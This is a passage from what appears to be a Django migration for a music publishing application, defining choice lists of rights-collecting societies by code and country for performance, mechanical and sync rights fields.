'RUR (RUSSIA)'), ('55', 'SABAM (BELGIUM)'), ('221', 'SABEM (BRAZIL)'), ('56', 'SACD (FRANCE)'), ('58', 'SACEM (FRANCE)'), ('758', 'SACEM-LIBAN (Additional CIS-Net Node)'), ('658', 'SACEM-US (Additional CIS-Net Node)'), ('233', 'SACEMLUXEMBOURG (LUXEMBOURG)'), ('235', 'SACENC (FRANCE)'), ('57', 'SACERAU (EGYPT)'), ('242', 'SACIM (EL SALVADOR)'), ('183', 'SACK (KOREA, REPUBLIC OF)'), ('59', 'SACM (MEXICO)'), ('263', 'SACS (SEYCHELLES)'), ('60', 'SACVEN (VENEZUELA)'), ('131', 'SADA (GREECE)'), ('61', 'SADAIC (ARGENTINA)'), ('62', 'SADEMBRA (BRAZIL)'), ('135', 'SADH (GREECE)'), ('243', 'SADIA (ANGOLA)'), ('295', 'SAGCRYT (MEXICO)'), ('225', 'SAIF (FRANCE)'), ('63', 'SAMRO (SOUTH AFRICA)'), ('280', 'SANASTO (FINLAND)'), ('184', 'SARTEC (CANADA)'), ('244', 'SASUR (SURINAME)'), ('257', 'SAVA (ARGENTINA)'), ('65', 'SAYCE (ECUADOR)'), ('84', 'SAYCO (COLOMBIA)'), ('112', 'SAZAS (SLOVENIA)'), ('66', 'SBACEM (BRAZIL)'), ('67', 'SBAT (BRAZIL)'), ('73', 'SCAM (FRANCE)'), ('29', 'SCD (CHILE)'), ('299', 'SCM-COOPERATIVA (CAPE VERDE)'), ('279', 'SDADV (ANDORRA)'), ('259', 'SDCSI (IRELAND)'), ('68', 'SDRM (FRANCE)'), ('71', 'SESAC Inc. (UNITED STATES)'), ('245', 'SETEM (TURKEY)'), ('192', 'SFF (SWEDEN)'), ('199', 'SFP-ZAPA (POLAND)'), ('208', 'SGA (GUINEA-BISSAU)'), ('227', 'SGACEDOM (DOMINICAN REPUBLIC)'), ('72', 'SGAE (SPAIN)'), ('672', 'SGAE-NY (Additional CIS-Net Node)'), ('186', 'SGDL (FRANCE)'), ('318', 'SGS ()'), ('74', 'SIAE (ITALY)'), ('86', 'SICAM (BRAZIL)'), ('262', 'SINEBIR (TURKEY)'), ('134', 'SLPRS (SRI LANKA)'), ('187', 'SNAC (FRANCE)'), ('129', 'SOBODAYCOM (BOLIVIA)'), ('101', 'SOCAN (CANADA)'), ('254', 'SOCILADRA (CAMEROON)'), ('189', 'SOCINPRO (BRAZIL)'), ('25', 'SODAV (SENEGAL)'), ('20', 'SODRAC (CANADA)'), ('137', 'SOFAM (BELGIUM)'), ('70', 'SOGEM (MEXICO)'), ('64', 'SOKOJ (SERBIA AND MONTENEGRO)'), ('155', 'SOMAAP (MEXICO)'), ('224', 'SOMAS (MOZAMBIQUE)'), ('304', 'SONGCODE (UNITED STATES)'), ('190', 'SOPE (GREECE)'), ('85', 'SOZA (SLOVAKIA)'), ('69', 'SPA (PORTUGAL)'), ('146', 'SPAC (PANAMA)'), ('87', 'SPACEM (FRANCE)'), ('191', 'SPACQ (CANADA)'), ('216', 'SQN (BOSNIA AND HERZEGOVINA)'), ('91', 'SSA (SWITZERLAND)'), ('77', 'STEF (ICELAND)'), ('78', 'STEMRA (NETHERLANDS)'), ('79', 'STIM (SWEDEN)'), ('80', 'SUISA (SWITZERLAND)'), ('75', 'SUISSIMAGE (SWITZERLAND)'), ('775', 'Solar EMI (GERMANY/UK)'), ('776', 'Solar Sony (GERMANY/UK)'), ('237', 'TALI (ISRAEL)'), ('143', 'TEATERAUTOR (BULGARIA)'), ('89', 'TEOSTO (FINLAND)'), ('90', 'TONO (NORWAY)'), ('207', "The Author's Registry Inc. (UNITED STATES)"), ('193', 'The Society of Authors (SOA) (UNITED KINGDOM)'), ('140', 'UACRR (UKRAINE)'), ('93', 'UBC (BRAZIL)'), ('115', 'UCMR-ADA (ROMANIA)'), ('194', 'UFFICIO GIURIDICO (HOLY SEE (VATICAN CITY STATE))'), ('206', 'UFW (FINLAND)'), ('282', 'UNAC-SA (ANGOLA)'), ('780', 'UNISON (Spain)'), ('267', 'UPRAVIS (RUSSIAN FEDERATION)'), ('234', 'UPRS (UGANDA)'), ('156', 'VAGA (UNITED STATES)'), ('246', 'VCPMC (VIET NAM)'), ('121', 'VDFS (AUSTRIA)'), ('158', 'VEGAP (SPAIN)'), ('195', 'VEVAM (NETHERLANDS)'), ('95', 'VG WORT (GERMANY)'), ('159', 'VISCOPY (AUSTRALIA)'), ('139', 'VISDA (DENMARK)'), ('269', 'WAMI (INDONESIA)'), ('196', 'WGA (UNITED STATES)'), ('197', 'WGJ (JAPAN)'), ('300', 'WID Centre (UNITED STATES)'), ('97', 'ZAIKS (POLAND)'), ('133', 'ZAMCOPS (ZAMBIA)'), ('136', 'ZAMP - Macédoine (MACEDONIA)'), ('198', 'ZAMP Association of Slovenia (SLOVENIA)'), ('98', 'ZIMURA (ZIMBABWE)'), ('292', 'ZPAP (POLAND)')], max_length=3, null=True, validators=[music_publisher.validators.CWRFieldValidator('pr_society')], verbose_name='Performance rights society')), ('mr_society', models.CharField(blank=True, choices=[('226', 'AACIMH (HONDURAS)'), ('253', 'AAS (AZERBAIJAN)'), ('217', 'ABRAC (BRAZIL)'), ('201', 'ABRAMUS (BRAZIL)'), ('288', 'ABYROY (KAZAKHSTAN)'), ('107', 'ACAM (COSTA RICA)'), ('210', 'ACCESS COPYRIGHT (CANADA)'), ('306', 'ACCS (TRINIDAD AND TOBAGO)'), ('103', 'ACDAM (CUBA)'), ('76', 'ACEMLA (PUERTO RICO)'), ('260', 'ACS (UNITED KINGDOM)'), ('1', 'ACUM (ISRAEL)'), ('148', 'ADAGP (FRANCE)'), ('230', 'ADAVIS (CUBA)'), ('2', 'ADDAF (BRAZIL)'), ('250', 'AEI-GUATEMALA (GUATEMALA)'), ('3', 'AEPI (GREECE)'), ('4', 'AGADU (URUGUAY)'), ('289', 'AIPA (SLOVENIA)'), ('122', 'AKKA-LAA (LATVIA)'), ('5', 'AKM (AUSTRIA)'), ('127', 'ALBAUTOR (ALBANIA)'), ('54', 'ALCS (UNITED KINGDOM)'), ('30', 'AMAR (BRAZIL)'), ('12', 'AMCOS (AUSTRALIA)'), ('162', 'AMPAL (AUSTRALIA)'), ('17', 'AMRA (UNITED STATES)'), ('273', 'AMUS (BOSNIA AND HERZEGOVINA)'), ('218', 'ANACIM (BRAZIL)'), ('15', 'APA (PARAGUAY)'), ('7', 'APDAYC (PERU)'), ('163', 'APG-Japan (JAPAN)'), ('8', 'APRA (AUSTRALIA)'), ('164', 'APSAV (PERU)'), ('14', 'ARGENTORES (ARGENTINA)'), ('209', 'ARMAUTHOR NGO (ARMENIA)'), ('320', 'ARMONIA (FRANCE)'), ('149', 'ARS (UNITED STATES)'), ('236', 'ARTEGESTION (ECUADOR)'), ('9', 'ARTISJUS (HUNGARY)'), ('10', 'ASCAP (UNITED STATES)'), ('251', 'ASDACS (AUSTRALIA)'), ('219', 'ASSIM (BRAZIL)'), ('281', 'ATHINA- SADA - S.A.D.A. (GREECE)'), ('220', 'ATIDA (BRAZIL)'), ('141', 'ATN (CHILE)'), ('11', 'AUSTRO-MECHANA (AUME) (AUSTRIA)'), ('275', 'AUTODIAHIRISI (GREECE)'), ('166', 'AUTORARTE (VENEZUELA)'), ('231', 'AUTVIS (BRAZIL)'), ('203', 'AWGACS (AUSTRALIA)'), ('290', 'AZDG (AZERBAIJAN)'), ('202', 'AsDAC (MOLDOVA, REPUBLIC OF)'), ('274', 'AuPO CINEMA (UKRAINE)'), ('45', 'BBDA (BURKINA FASO)'), ('47', 'BCDA (CONGO)'), ('18', 'BGDA (GUINEA)'), ('132', 'BILD-KUNST (GERMANY)'), ('157', 'BILDRECHT GmbH (AUSTRIA)'), ('19', 'BMDA (MOROCCO)'), ('21', 'BMI (UNITED STATES)'), ('125', 'BNDA (NIGER)'), ('151', 'BONO (NORWAY)'), ('238', 'BSCAP (BELIZE)'), ('37', 'BUBEDRA (BENIN)'), ('6', 'BUCADA (CENTRAL AFRICAN REPUBLIC)'), ('23', 'BUMA (NETHERLANDS)'), ('16', 'BUMDA (MALI)'), ('24', "BURIDA (COTE D'IVOIRE)"), ('130', 'BUTODRA (TOGO)'), ('266', 'BeAT (BRUNEI DARUSSALAM)'), ('152', 'Bildupphovsrätt (Visual Copyright Society) (SWEDEN)'), ('168', 'CA (AUSTRALIA)'), ('283', 'CAPASSO (SOUTH AFRICA)'), ('264', 'CARCC (CANADA)'), ('26', 'CASH (HONG KONG)'), ('777', 'CELAS (GERMANY/UK)'), ('108', 'CHA (TAIWAN, CHINESE TAIPEI)'), ('316', 'CIS-Net AVI (FRANCE)'), ('312', 'CISAC (FRANCE)'), ('239', 'CMC (CAMEROON)'), ('88', 'CMRRA (CANADA)'), ('252', 'COLCCMA (TAIWAN, CHINESE TAIPEI)'), ('106', 'COMPASS (SINGAPORE)'), ('169', 'COSCAP (BARBADOS)'), ('124', 'COSOMA (MALAWI)'), ('268', 'COSON (NIGERIA)'), ('223', 'COSOTA (TANZANIA, UNITED REPUBLIC OF)'), ('284', 'COSOZA (ZANZIBAR)'), ('96', 'COTT (TRINIDAD AND TOBAGO)'), ('170', 'CPSN (NEPAL)'), ('171', 'CREAIMAGEN (CHILE)'), ('212', 'CSCS (CANADA)'), ('315', 'CSI (FRANCE)'), ('175', 'CopyRo (ROMANIA)'), ('248', 'DAC (ARGENTINA)'), ('296', 'DACIN-SARA (ROMANIA)'), ('153', 'DACS (UNITED KINGDOM)'), ('142', 'DALRO (SOUTH AFRICA)'), ('240', 'DAMA (SPAIN)'), ('276', 'DASC (COLOMBIA)'), ('293', 'DBCA (BRAZIL)'), ('172', 'DGA (UNITED STATES)'), ('271', 'DHFR (CROATIA)'), ('31', 'DILIA (CZECH REPUBLIC)'), ('173', 'DIRECTORES (MEXICO)'), ('145', 'DIRECTORS UK (UNITED KINGDOM)'), ('310', 'DIVA (HONG KONG)'), ('213', 'DRCC (CANADA)'), ('116', 'EAU (ESTONIA)'), ('308', 'ECAD (BRAZIL)'), ('214', 'ECCO (SAINT LUCIA)'), ('322', 'EVA (BELGIUM)'), ('147', 'FILMAUTOR (BULGARIA)'), ('174', 'FILMJUS (HUNGARY)'), ('32', 'FILSCAP (PHILIPPINES)'), ('222', 'FONOPERU (PERU)'), ('313', 'FastTrack DCN (FRANCE)'), ('261', 'GAI Uz (UZBEKISTAN)'), ('204', 'GCA (former SSA) (GEORGIA)'), ('297', 'GEDAR (BRAZIL)'), ('35', 'GEMA (GERMANY)'), ('635', 'GEMA-US (Additional CIS-Net Node)'), ('301', 'GESAC (BELGIUM)'), ('232', 'GESTOR (CZECH REPUBLIC)'), ('285', 'GHAMRO (GHANA)'), ('778', 'GMR ()'), ('144', 'HAA (CROATIA)'), ('111', 'HDS-ZAMP (CROATIA)'), ('34', 'HFA (UNITED STATES)'), ('154', 'HUNGART (HUNGARY)'), ('319', 'ICE Services AB (SWEDEN)'), ('229', 'ICG (UNITED STATES)'), ('314', 'IDA (FRANCE)'), ('128', 'IMRO (IRELAND)'), ('317', 'INTL-REP (FRANCE)'), ('36', 'IPRS (INDIA)'), ('247', 'IVARO (IRELAND)'), ('176', 'JACAP (JAMAICA)'), ('270', 'JASPAR (JAPAN)'), ('38', 'JASRAC (JAPAN)'), ('109', 'KCI (INDONESIA)'), ('40', 'KODA (DENMARK)'), ('118', 'KOMCA (KOREA, REPUBLIC OF)'), ('138', 'KOPIOSTO (FINLAND)'), ('287', 'KORRA (KOREA)'), ('178', 'KOSA (KOREA, REPUBLIC OF)'), ('179', 'KUVASTO (FINLAND)'), ('177', 'KazAK (KAZAKSTAN)'), ('215', 'Kyrgyzpatent (KYRGYZSTAN)'), ('110', 'LATGA-A (LITHUANIA)'), ('302', 'LATINAUTOR (URUGUAY)'), ('120', 'LIRA (NETHERLANDS)'), ('28', 'LITA (SLOVAKIA)'), ('41', 'LITERAR-MECHANA (AUSTRIA)'), ('309', 'LatinNet (SPAIN)'), ('265', 'MACA (MACAU)'), ('104', 'MACP (MALAYSIA)'), ('105', 'MASA (RMS) (MAURITIUS)'), ('44', 'MCPS (UNITED KINGDOM)'), ('311', 'MCPS-PRS Alliance (UNITED KINGDOM)'), ('119', 'MCSC (CHINA)'), ('43', 'MCSK (KENYA)'), ('22', 'MCSN (NIGERIA)'), ('126', 'MCT (THAILAND)'), ('117', 'MESAM (TURKEY)'), ('307', 'MIS@ASIA (SINGAPORE)'), ('272', 'MOSCAP (MONGOLIA)'), ('258', 'MRCSN (NEPAL)'), ('200', 'MSG (TURKEY)'), ('39', 'MUSICAUTOR (BULGARIA)'), ('707', 'MusicMark (USA)'), ('161', 'MÜST (TAIWAN, CHINESE TAIPEI)'), ('102', 'NASCAM (NAMIBIA)'), ('48', 'NCB (DENMARK)'), ('160', 'NCIP (BELARUS)'), ('241', 'NICAUTOR (NICARAGUA)'), ('181', 'NMPA (UNITED STATES)'), ('303', 'NORD-DOC (SWEDEN)'), ('286', 'ODDA (DJIBOUTI)'), ('291', 'OFA (SERBIA)'), ('33', 'OMDA (MADAGASCAR)'), ('49', 'ONDA (ALGERIA)'), ('298', 'OOA-S (CZECH REPUBLIC)'), ('50', 'OSA (CZECH REPUBLIC)'), ('82', 'OTPDA (TUNISIA)'), ('888', 'PAECOL (Additional CIS-Net Node)'), ('249', 'PAM CG (MONTENEGRO)'), ('182', 'PAPPRI (INDONESIA)'), ('256', 'PICTORIGHT (NETHERLANDS)'), ('51', 'PROLITTERIS (SWITZERLAND)'), ('52', 'PRS (UNITED KINGDOM)'), ('321', 'PUBLISHERS ()'), ('779', 'Polaris Nordic (SCANDINAVIA)'), ('94', 'RAO (RUSSIAN FEDERATION)'), ('294', 'REDES (COLOMBIA)'), ('228', 'ROMS (RUSSIAN FEDERATION)'), ('277', 'RSAU (RWANDA)'), ('278', 'RUR (RUSSIA)'), ('55', 'SABAM (BELGIUM)'), ('221', 'SABEM (BRAZIL)'), ('56', 'SACD (FRANCE)'), ('58', 'SACEM (FRANCE)'), ('758', 'SACEM-LIBAN (Additional CIS-Net Node)'), ('658', 'SACEM-US (Additional CIS-Net Node)'), ('233', 'SACEMLUXEMBOURG (LUXEMBOURG)'), ('235', 'SACENC (FRANCE)'), ('57', 'SACERAU (EGYPT)'), ('242', 'SACIM (EL SALVADOR)'), ('183', 'SACK (KOREA, REPUBLIC OF)'), ('59', 'SACM (MEXICO)'), ('263', 'SACS (SEYCHELLES)'), ('60', 'SACVEN (VENEZUELA)'), ('131', 'SADA (GREECE)'), ('61', 'SADAIC (ARGENTINA)'), ('62', 'SADEMBRA (BRAZIL)'), ('135', 'SADH (GREECE)'), ('243', 'SADIA (ANGOLA)'), ('295', 'SAGCRYT (MEXICO)'), ('225', 'SAIF (FRANCE)'), ('63', 'SAMRO (SOUTH AFRICA)'), ('280', 'SANASTO (FINLAND)'), ('184', 'SARTEC (CANADA)'), ('244', 'SASUR (SURINAME)'), ('257', 'SAVA (ARGENTINA)'), ('65', 'SAYCE (ECUADOR)'), ('84', 'SAYCO (COLOMBIA)'), ('112', 'SAZAS (SLOVENIA)'), ('66', 'SBACEM (BRAZIL)'), ('67', 'SBAT (BRAZIL)'), ('73', 'SCAM (FRANCE)'), ('29', 'SCD (CHILE)'), ('299', 'SCM-COOPERATIVA (CAPE VERDE)'), ('279', 'SDADV (ANDORRA)'), ('259', 'SDCSI (IRELAND)'), ('68', 'SDRM (FRANCE)'), ('71', 'SESAC Inc. (UNITED STATES)'), ('245', 'SETEM (TURKEY)'), ('192', 'SFF (SWEDEN)'), ('199', 'SFP-ZAPA (POLAND)'), ('208', 'SGA (GUINEA-BISSAU)'), ('227', 'SGACEDOM (DOMINICAN REPUBLIC)'), ('72', 'SGAE (SPAIN)'), ('672', 'SGAE-NY (Additional CIS-Net Node)'), ('186', 'SGDL (FRANCE)'), ('318', 'SGS ()'), ('74', 'SIAE (ITALY)'), ('86', 'SICAM (BRAZIL)'), ('262', 'SINEBIR (TURKEY)'), ('134', 'SLPRS (SRI LANKA)'), ('187', 'SNAC (FRANCE)'), ('129', 'SOBODAYCOM (BOLIVIA)'), ('101', 'SOCAN (CANADA)'), ('254', 'SOCILADRA (CAMEROON)'), ('189', 'SOCINPRO (BRAZIL)'), ('25', 'SODAV (SENEGAL)'), ('20', 'SODRAC (CANADA)'), ('137', 'SOFAM (BELGIUM)'), ('70', 'SOGEM (MEXICO)'), ('64', 'SOKOJ (SERBIA AND MONTENEGRO)'), ('155', 'SOMAAP (MEXICO)'), ('224', 'SOMAS (MOZAMBIQUE)'), ('304', 'SONGCODE (UNITED STATES)'), ('190', 'SOPE (GREECE)'), ('85', 'SOZA (SLOVAKIA)'), ('69', 'SPA (PORTUGAL)'), ('146', 'SPAC (PANAMA)'), ('87', 'SPACEM (FRANCE)'), ('191', 'SPACQ (CANADA)'), ('216', 'SQN (BOSNIA AND HERZEGOVINA)'), ('91', 'SSA (SWITZERLAND)'), ('77', 'STEF (ICELAND)'), ('78', 'STEMRA (NETHERLANDS)'), ('79', 'STIM (SWEDEN)'), ('80', 'SUISA (SWITZERLAND)'), ('75', 'SUISSIMAGE (SWITZERLAND)'), ('775', 'Solar EMI (GERMANY/UK)'), ('776', 'Solar Sony (GERMANY/UK)'), ('237', 'TALI (ISRAEL)'), ('143', 'TEATERAUTOR (BULGARIA)'), ('89', 'TEOSTO (FINLAND)'), ('90', 'TONO (NORWAY)'), ('207', "The Author's Registry Inc. (UNITED STATES)"), ('193', 'The Society of Authors (SOA) (UNITED KINGDOM)'), ('140', 'UACRR (UKRAINE)'), ('93', 'UBC (BRAZIL)'), ('115', 'UCMR-ADA (ROMANIA)'), ('194', 'UFFICIO GIURIDICO (HOLY SEE (VATICAN CITY STATE))'), ('206', 'UFW (FINLAND)'), ('282', 'UNAC-SA (ANGOLA)'), ('780', 'UNISON (Spain)'), ('267', 'UPRAVIS (RUSSIAN FEDERATION)'), ('234', 'UPRS (UGANDA)'), ('156', 'VAGA (UNITED STATES)'), ('246', 'VCPMC (VIET NAM)'), ('121', 'VDFS (AUSTRIA)'), ('158', 'VEGAP (SPAIN)'), ('195', 'VEVAM (NETHERLANDS)'), ('95', 'VG WORT (GERMANY)'), ('159', 'VISCOPY (AUSTRALIA)'), ('139', 'VISDA (DENMARK)'), ('269', 'WAMI (INDONESIA)'), ('196', 'WGA (UNITED STATES)'), ('197', 'WGJ (JAPAN)'), ('300', 'WID Centre (UNITED STATES)'), ('97', 'ZAIKS (POLAND)'), ('133', 'ZAMCOPS (ZAMBIA)'), ('136', 'ZAMP - Macédoine (MACEDONIA)'), ('198', 'ZAMP Association of Slovenia (SLOVENIA)'), ('98', 'ZIMURA (ZIMBABWE)'), ('292', 'ZPAP (POLAND)')], max_length=3, null=True, validators=[music_publisher.validators.CWRFieldValidator('pr_society')], verbose_name='Mechanical rights society')), ('sr_society', models.CharField(blank=True, choices=[('226', 'AACIMH (HONDURAS)'), ('253', 'AAS (AZERBAIJAN)'), ('217', 'ABRAC (BRAZIL)'), ('201', 'ABRAMUS (BRAZIL)'), ('288', 'ABYROY (KAZAKHSTAN)'), ('107', 'ACAM (COSTA RICA)'), ('210', 'ACCESS COPYRIGHT (CANADA)'), ('306', 'ACCS (TRINIDAD AND TOBAGO)'), ('103', 'ACDAM (CUBA)'), ('76', 'ACEMLA (PUERTO RICO)'), ('260', 'ACS (UNITED KINGDOM)'), ('1', 'ACUM (ISRAEL)'), ('148', 'ADAGP (FRANCE)'), ('230', 'ADAVIS (CUBA)'), ('2', 'ADDAF (BRAZIL)'), ('250', 'AEI-GUATEMALA (GUATEMALA)'), ('3', 'AEPI (GREECE)'), ('4', 'AGADU (URUGUAY)'), ('289', 'AIPA (SLOVENIA)'), ('122', 'AKKA-LAA (LATVIA)'), ('5', 'AKM (AUSTRIA)'), ('127', 'ALBAUTOR (ALBANIA)'), ('54', 'ALCS (UNITED KINGDOM)'), ('30', 'AMAR (BRAZIL)'), ('12', 'AMCOS (AUSTRALIA)'), ('162', 'AMPAL (AUSTRALIA)'), ('17', 'AMRA (UNITED STATES)'), ('273', 'AMUS (BOSNIA AND HERZEGOVINA)'), ('218', 'ANACIM (BRAZIL)'), ('15', 'APA (PARAGUAY)'), ('7', 'APDAYC (PERU)'), ('163', 'APG-Japan (JAPAN)'), ('8', 'APRA (AUSTRALIA)'), ('164', 'APSAV (PERU)'), ('14', 'ARGENTORES (ARGENTINA)'), ('209', 'ARMAUTHOR NGO (ARMENIA)'), ('320', 'ARMONIA (FRANCE)'), ('149', 'ARS (UNITED STATES)'), ('236', 'ARTEGESTION (ECUADOR)'), ('9', 'ARTISJUS (HUNGARY)'), ('10', 'ASCAP (UNITED STATES)'), ('251', 'ASDACS (AUSTRALIA)'), ('219', 'ASSIM (BRAZIL)'), ('281', 'ATHINA- SADA - S.A.D.A. (GREECE)'), ('220', 'ATIDA (BRAZIL)'), ('141', 'ATN (CHILE)'), ('11', 'AUSTRO-MECHANA (AUME) (AUSTRIA)'), ('275', 'AUTODIAHIRISI (GREECE)'), ('166', 'AUTORARTE (VENEZUELA)'), ('231', 'AUTVIS (BRAZIL)'), ('203', 'AWGACS (AUSTRALIA)'), ('290', 'AZDG (AZERBAIJAN)'), ('202', 'AsDAC (MOLDOVA, REPUBLIC OF)'), ('274', 'AuPO CINEMA (UKRAINE)'), ('45', 'BBDA (BURKINA FASO)'), ('47', 'BCDA (CONGO)'), ('18', 'BGDA (GUINEA)'), ('132', 'BILD-KUNST (GERMANY)'), ('157', 'BILDRECHT GmbH (AUSTRIA)'), ('19', 'BMDA (MOROCCO)'), ('21', 'BMI (UNITED STATES)'), ('125', 'BNDA (NIGER)'), ('151', 'BONO (NORWAY)'), ('238', 'BSCAP (BELIZE)'), ('37', 'BUBEDRA (BENIN)'), ('6', 'BUCADA (CENTRAL AFRICAN REPUBLIC)'), ('23', 'BUMA (NETHERLANDS)'), ('16', 'BUMDA (MALI)'), ('24', "BURIDA (COTE D'IVOIRE)"), ('130', 'BUTODRA (TOGO)'), ('266', 'BeAT (BRUNEI DARUSSALAM)'), ('152', 'Bildupphovsrätt (Visual Copyright Society) (SWEDEN)'), ('168', 'CA (AUSTRALIA)'), ('283', 'CAPASSO (SOUTH AFRICA)'), ('264', 'CARCC (CANADA)'), ('26', 'CASH (HONG KONG)'), ('777', 'CELAS (GERMANY/UK)'), ('108', 'CHA (TAIWAN, CHINESE TAIPEI)'), ('316', 'CIS-Net AVI (FRANCE)'), ('312', 'CISAC (FRANCE)'), ('239', 'CMC (CAMEROON)'), ('88', 'CMRRA (CANADA)'), ('252', 'COLCCMA (TAIWAN, CHINESE TAIPEI)'), ('106', 'COMPASS (SINGAPORE)'), ('169', 'COSCAP (BARBADOS)'), ('124', 'COSOMA (MALAWI)'), ('268', 'COSON (NIGERIA)'), ('223', 'COSOTA (TANZANIA, UNITED REPUBLIC OF)'), ('284', 'COSOZA (ZANZIBAR)'), ('96', 'COTT (TRINIDAD AND TOBAGO)'), ('170', 'CPSN (NEPAL)'), ('171', 'CREAIMAGEN (CHILE)'), ('212', 'CSCS (CANADA)'), ('315', 'CSI (FRANCE)'), ('175', 'CopyRo (ROMANIA)'), ('248', 'DAC (ARGENTINA)'), ('296', 'DACIN-SARA (ROMANIA)'), ('153', 'DACS (UNITED KINGDOM)'), ('142', 'DALRO (SOUTH AFRICA)'), ('240', 'DAMA (SPAIN)'), ('276', 'DASC (COLOMBIA)'), ('293', 'DBCA (BRAZIL)'), ('172', 'DGA (UNITED STATES)'), ('271', 'DHFR (CROATIA)'), ('31', 'DILIA (CZECH REPUBLIC)'), ('173', 'DIRECTORES (MEXICO)'), ('145', 'DIRECTORS UK (UNITED KINGDOM)'), ('310', 'DIVA (HONG KONG)'), ('213', 'DRCC (CANADA)'), ('116', 'EAU (ESTONIA)'), ('308', 'ECAD (BRAZIL)'), ('214', 'ECCO (SAINT LUCIA)'), ('322', 'EVA (BELGIUM)'), ('147', 'FILMAUTOR (BULGARIA)'), ('174', 'FILMJUS (HUNGARY)'), ('32', 'FILSCAP (PHILIPPINES)'), ('222', 'FONOPERU (PERU)'), ('313', 'FastTrack DCN (FRANCE)'), ('261', 'GAI Uz (UZBEKISTAN)'), ('204', 'GCA (former SSA) (GEORGIA)'), ('297', 'GEDAR (BRAZIL)'), ('35', 'GEMA (GERMANY)'), ('635', 'GEMA-US (Additional CIS-Net Node)'), ('301', 'GESAC (BELGIUM)'), ('232', 'GESTOR (CZECH REPUBLIC)'), ('285', 'GHAMRO (GHANA)'), ('778', 'GMR ()'), ('144', 'HAA (CROATIA)'), ('111', 'HDS-ZAMP (CROATIA)'), ('34', 'HFA (UNITED STATES)'), ('154', 'HUNGART (HUNGARY)'), ('319', 'ICE Services AB (SWEDEN)'), ('229', 'ICG (UNITED STATES)'), ('314', 'IDA (FRANCE)'), ('128', 'IMRO (IRELAND)'), ('317', 'INTL-REP (FRANCE)'), ('36', 'IPRS (INDIA)'), ('247', 'IVARO (IRELAND)'), ('176', 'JACAP (JAMAICA)'), ('270', 'JASPAR (JAPAN)'), ('38', 'JASRAC (JAPAN)'), ('109', 'KCI (INDONESIA)'), ('40', 'KODA (DENMARK)'), ('118', 'KOMCA (KOREA, REPUBLIC OF)'), ('138', 'KOPIOSTO (FINLAND)'), ('287', 'KORRA (KOREA)'), ('178', 'KOSA (KOREA, REPUBLIC OF)'), ('179', 'KUVASTO (FINLAND)'), ('177', 'KazAK (KAZAKSTAN)'), ('215', 'Kyrgyzpatent (KYRGYZSTAN)'), ('110', 'LATGA-A (LITHUANIA)'), ('302', 'LATINAUTOR (URUGUAY)'), ('120', 'LIRA (NETHERLANDS)'), ('28', 'LITA (SLOVAKIA)'), ('41', 'LITERAR-MECHANA (AUSTRIA)'), ('309', 'LatinNet (SPAIN)'), ('265', 'MACA (MACAU)'), ('104', 'MACP (MALAYSIA)'), ('105', 'MASA (RMS) (MAURITIUS)'), ('44', 'MCPS (UNITED KINGDOM)'), ('311', 'MCPS-PRS Alliance (UNITED KINGDOM)'), ('119', 'MCSC (CHINA)'), ('43', 'MCSK (KENYA)'), ('22', 'MCSN (NIGERIA)'), ('126', 'MCT (THAILAND)'), ('117', 'MESAM (TURKEY)'), ('307', 'MIS@ASIA (SINGAPORE)'), ('272', 'MOSCAP (MONGOLIA)'), ('258', 'MRCSN (NEPAL)'), ('200', 'MSG (TURKEY)'), ('39', 'MUSICAUTOR (BULGARIA)'), ('707', 'MusicMark (USA)'), ('161', 'MÜST (TAIWAN, CHINESE TAIPEI)'), ('102', 'NASCAM (NAMIBIA)'), ('48', 'NCB (DENMARK)'), ('160', 'NCIP (BELARUS)'), ('241', 'NICAUTOR (NICARAGUA)'), ('181', 'NMPA (UNITED STATES)'), ('303', 'NORD-DOC (SWEDEN)'), ('286', 'ODDA (DJIBOUTI)'), ('291', 'OFA (SERBIA)'), ('33', 'OMDA (MADAGASCAR)'), ('49', 'ONDA (ALGERIA)'), ('298', 'OOA-S (CZECH REPUBLIC)'), ('50', 'OSA (CZECH REPUBLIC)'), ('82', 'OTPDA (TUNISIA)'), ('888', 'PAECOL (Additional CIS-Net Node)'), ('249', 'PAM CG (MONTENEGRO)'), ('182', 'PAPPRI (INDONESIA)'), ('256', 'PICTORIGHT (NETHERLANDS)'), ('51', 'PROLITTERIS (SWITZERLAND)'), ('52', 'PRS (UNITED KINGDOM)'), ('321', 'PUBLISHERS ()'), ('779', 'Polaris Nordic (SCANDINAVIA)'), ('94', 'RAO (RUSSIAN FEDERATION)'), ('294', 'REDES (COLOMBIA)'), ('228', 'ROMS (RUSSIAN FEDERATION)'), ('277', 'RSAU (RWANDA)'), ('278', 'RUR (RUSSIA)'), ('55', 'SABAM (BELGIUM)'), ('221', 'SABEM (BRAZIL)'), ('56', 'SACD (FRANCE)'), ('58', 'SACEM (FRANCE)'), ('758', 'SACEM-LIBAN (Additional CIS-Net Node)'), ('658', 'SACEM-US (Additional CIS-Net Node)'), ('233', 'SACEMLUXEMBOURG (LUXEMBOURG)'), ('235', 'SACENC (FRANCE)'), ('57', 'SACERAU (EGYPT)'), ('242', 'SACIM (EL SALVADOR)'), ('183', 'SACK (KOREA, REPUBLIC OF)'), ('59', 'SACM (MEXICO)'), ('263', 'SACS (SEYCHELLES)'), ('60', 'SACVEN (VENEZUELA)'), ('131', 'SADA (GREECE)'), ('61', 'SADAIC (ARGENTINA)'), ('62', 'SADEMBRA (BRAZIL)'), ('135', 'SADH (GREECE)'), ('243', 'SADIA (ANGOLA)'), ('295', 'SAGCRYT (MEXICO)'), ('225', 'SAIF (FRANCE)'), ('63', 'SAMRO (SOUTH AFRICA)'), ('280', 'SANASTO (FINLAND)'), ('184', 'SARTEC (CANADA)'), ('244', 'SASUR (SURINAME)'), ('257', 'SAVA (ARGENTINA)'), ('65', 'SAYCE (ECUADOR)'), ('84', 'SAYCO (COLOMBIA)'), ('112', 'SAZAS (SLOVENIA)'), ('66', 'SBACEM (BRAZIL)'), ('67', 'SBAT (BRAZIL)'), ('73', 'SCAM (FRANCE)'), ('29', 'SCD (CHILE)'), ('299', 'SCM-COOPERATIVA (CAPE VERDE)'), ('279', 'SDADV (ANDORRA)'), ('259', 'SDCSI (IRELAND)'), ('68', 'SDRM (FRANCE)'), ('71', 'SESAC Inc. (UNITED STATES)'), ('245', 'SETEM (TURKEY)'), ('192', 'SFF (SWEDEN)'), ('199', 'SFP-ZAPA (POLAND)'), ('208', 'SGA (GUINEA-BISSAU)'), ('227', 'SGACEDOM (DOMINICAN REPUBLIC)'), ('72', 'SGAE (SPAIN)'), ('672', 'SGAE-NY (Additional CIS-Net Node)'), ('186', 'SGDL (FRANCE)'), ('318', 'SGS ()'), ('74', 'SIAE (ITALY)'), ('86', 'SICAM (BRAZIL)'), 